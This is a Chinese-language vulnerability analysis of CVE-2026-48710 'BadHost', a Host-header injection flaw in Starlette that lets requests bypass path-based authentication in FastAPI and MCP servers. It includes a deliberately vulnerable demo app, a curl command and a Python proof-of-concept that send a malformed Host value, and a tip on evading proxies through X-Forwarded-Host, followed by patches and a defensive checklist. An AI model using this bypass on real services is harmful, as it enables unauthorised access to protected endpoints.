CVE-2026-48710 BadHost 深度分析:Starlette/FastAPI/MCP 主机头路径注入认证绕过
导语
2026 年 5 月,安全公司 X41 D-Sec 在 OSTIF 赞助的审计中披露了一个影响深远的 Python Web 框架漏洞——CVE-2026-48710,代号 BadHost。问题虽小,却像一颗地基裂缝:Starlette 在重建 request.url 时,直接信任了客户端传来的 Host 头,没有验证其合法性。结果,认证中间件看到的是一条“安全路径”,而路由器执行的却是一条“受保护路径”。
由于 Starlette 是 FastAPI 的底层,FastAPI 又是当今 Python AI 基础设施的事实标准(vLLM、LiteLLM、Text Generation Inference、大量 MCP Server 都基于它),这个漏洞的波及面被迅速放大。X41 的扫描发现,互联网上已有大量可远程触发的生产系统,涉及邮件、数据库、工业控制等敏感场景。
本文将从技术原理、最小复现、真实影响、修复与防御四个维度,帮你彻底理解 BadHost。
一、漏洞概述
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-48710 |
| 代号 | BadHost |
| 影响组件 | Starlette(FastAPI 底层) |
| 影响版本 | >= 0.8.3, < 1.0.1 |
| 修复版本 | >= 1.0.1 |
| CVSS v3.1 | 6.5(厂商)/ 7.0(X41 评估) |
| 漏洞类型 | 输入验证缺失 → 认证/授权绕过 |
| CWE | CWE-444 / CWE-1289 |
| 攻击向量 | 网络,无需认证,无需用户交互 |
1.1 为什么叫 BadHost
问题的核心在 Host 头。HTTP/1.1 请求必须携带 Host,告诉服务器要访问哪个虚拟主机。Starlette 用这行头部与请求路径拼接,重新构建出完整的 request.url:
request.url = URL(f"{scheme}://{host}{scope['path']}?{query}")如果 Host 头包含 /、?、# 等字符,重建出的 URL 就会“错位”:request.url.path 不再等于真实请求路径 scope["path"]。而 Starlette/FastAPI 的路由器以真实路径为准,中间件却以 request.url.path 为准。认证层与路由层对同一条请求产生了解析不一致,于是绕过发生。
二、技术原理:一条请求,两条路径
2.1 正常情况
假设一个 FastAPI 服务:
from fastapi import FastAPI, Request
app = FastAPI()
@app.get("/admin")
async def admin(request: Request):
return {"path": request.url.path, "scope_path": request.scope["path"]}
@app.get("/public")
async def public():
return {"msg": "ok"}正常访问 GET /admin:
Host: api.example.com
request.url.path -> /admin
request.scope["path"] -> /admin2.2 畸形 Host 注入
攻击者发送:
GET /admin HTTP/1.1
Host: api.example.com/public?x=Starlette 拼接后得到:
request.url -> https://api.example.com/public?x=/admin
request.url.path -> /public
request.scope["path"] -> /admin此时:
- 路由器看到
scope["path"] == /admin,于是执行admin处理函数。 - 认证中间件看到
request.url.path == /public,误以为这是公开路径,跳过认证。
结果:攻击者无需任何凭证,直接访问到 /admin。
2.3 架构层面的文字图
客户端请求
GET /admin
Host: api.example.com/public?x=
│
▼
ASGI 服务器(Uvicorn/Gunicorn)
│ 解析 HTTP 行,得到 scope["path"] = /admin
▼
Starlette 路由层
│ 按 scope["path"] 匹配 /admin
▼
认证中间件(基于 request.url.path)
│ request.url = https://api.example.com/public?x=/admin
│ request.url.path = /public ← 被误判为公开路径
▼
认证通过,放行
│
▼
admin 处理函数执行(真实目标)这就是 BadHost 的本质:请求的真实路径与中间件看到的路径不一致。它不是 Starlette 路由错了,而是中间件用于决策的“路径”被 Host 头污染了。
三、影响面:为什么 AI 基础设施特别危险
Starlette 每周下载量约 3.25 亿次。它不直接面向用户,但支撑着 FastAPI 生态。FastAPI 又支撑着:
- LLM 推理服务:vLLM、Text Generation Inference、OpenAI-compatible Proxy
- LLM 代理网关:LiteLLM、BentoML、LangServe
- MCP Server:大量基于 FastAPI/Starlette 的 MCP 服务器实现
- Agent 框架与评估平台:Mastra、CrewAI、Agent Gateway 等
3.1 MCP 场景为什么高危
MCP Server 通常保存高权限凭证(OAuth Token、API Key、SSH 密钥、云访问密钥),并代理 AI Agent 访问外部系统。MCP 规范要求暴露无认证的 OAuth discovery 端点,这为 BadHost 提供了稳定的利用入口:攻击者可以先构造一个 Host 注入请求,绕过认证,再调用敏感工具。
X41 的扫描结果触目惊心:
- 生物制药临床试验数据库
- 企业邮件系统完整访问权限
- AWS 云基础设施拓扑
- 身份验证公司实名数据
- 堡垒机后的工业设备 SSH 入口
一个 Web 框架的“小漏洞”,因为处于 AI 权限链条的咽喉位置,变成了系统级风险。
四、最小复现:用 FastAPI 验证 BadHost
4.1 漏洞环境
# vuln_app.py
# 依赖:pip install fastapi==0.115.0 uvicorn
# Starlette 版本 < 1.0.1
from fastapi import FastAPI, Request, HTTPException
app = FastAPI()
# 模拟“基于路径的认证中间件”:公开路径放行,其他路径需认证
@app.middleware("http")
async def path_based_auth(request: Request, call_next):
public_paths = {"/public", "/health", "/openapi.json"}
if request.url.path in public_paths:
return await call_next(request)
raise HTTPException(status_code=403, detail="Forbidden")
@app.get("/public")
async def public():
return {"msg": "public"}
@app.get("/admin")
async def admin():
return {"msg": "admin secret"}启动:
uvicorn vuln_app:app --host 0.0.0.0 --port 80004.2 正常请求被拦截
curl -i http://127.0.0.1:8000/admin
# HTTP/1.1 403 Forbidden4.3 利用 Host 注入绕过
curl -i http://127.0.0.1:8000/admin \
-H "Host: 127.0.0.1/public?x="
# HTTP/1.1 200 OK
# {"msg":"admin secret"}注意:某些反向代理(如 Nginx、Cloudflare)会拒绝非标准 Host 头。攻击者可改用
X-Forwarded-Host或直连后端服务。BadHost 扫描器支持Host/X-Forwarded-Host双模式。
4.4 Python 复现脚本
import requests
url = "http://127.0.0.1:8000/admin"
# 正常请求:403
r = requests.get(url)
print("normal:", r.status_code, r.text)
# Host 注入:200
r = requests.get(url, headers={"Host": "127.0.0.1/public?x="})
print("badhost:", r.status_code, r.text)4.5 修复后的行为
升级依赖:
pip install "starlette>=1.0.1" "fastapi>=0.116.0"再次发送畸形 Host 请求,Starlette 会拒绝非法字符并回退到 scope["server"],无法再通过 Host 头篡改路径。
五、修复方案与防御清单
5.1 立即行动
- 升级 Starlette 到 1.0.1+,同时升级 FastAPI 到兼容版本。不要只升级顶层包,依赖树可能仍锁定旧版 Starlette。
pip install --upgrade "starlette>=1.0.1"
# 检查完整依赖树
pipdeptree | grep starlette- 重新部署所有容器、虚拟环境和 bundle。
pip list只显示当前环境,vendored 或打包的 Starlette 需单独更新。
5.2 架构层面加固
- 前端加反向代理:Nginx、Caddy、Traefik 等 RFC 合规代理会校验并规范化 Host 头,在入口层就消除攻击向量。
- 避免基于路径的认证中间件:认证应绑定到端点本身,而非“路径是否公开”。使用 FastAPI 的
Depends()、Security()或requires()装饰器。 - **必要时使用
scope["path"]**:如果中间件必须做路径判断,使用不可被 Host 头篡改的request.scope["path"]`。
# 安全写法:用 scope["path"]
async def safe_auth(request: Request, call_next):
public_paths = {"/public", "/health"}
if request.scope["path"] in public_paths:
return await call_next(request)
raise HTTPException(status_code=403, detail="Forbidden")- 扫描自查:使用 X41/Nemesis 的公开扫描器(https://badhost.org/)或本地
grep -R "request.url.path"检查项目中间件。
5.3 检查清单
□ 运行 pip list | grep starlette,确认版本 >= 1.0.1
□ 检查所有 requirements.txt / pyproject.toml / poetry.lock 中 Starlette 版本
□ 重新构建并部署容器镜像
□ 检查中间件是否使用 request.url.path 做安全决策
□ 在入口网关验证 Host 头合法性
□ 对 FastAPI/Starlette 服务运行 badhost.org 扫描器
□ 监控异常 Host 头或 X-Forwarded-Host 请求日志六、总结
CVE-2026-48710 BadHost 是一个典型的“基础设施层小漏洞,系统级影响”案例。它提醒我们:当 AI Agent、MCP Server、LLM 代理网关开始持有真实世界权限时,任何底层框架的输入校验缺陷都可能被放大成灾难。
修复不复杂:升级 Starlette、改认证写法、加反向代理。但前提是先意识到风险存在。如果你的团队正在使用 FastAPI 构建 AI 服务,请立即检查依赖版本并运行自查。

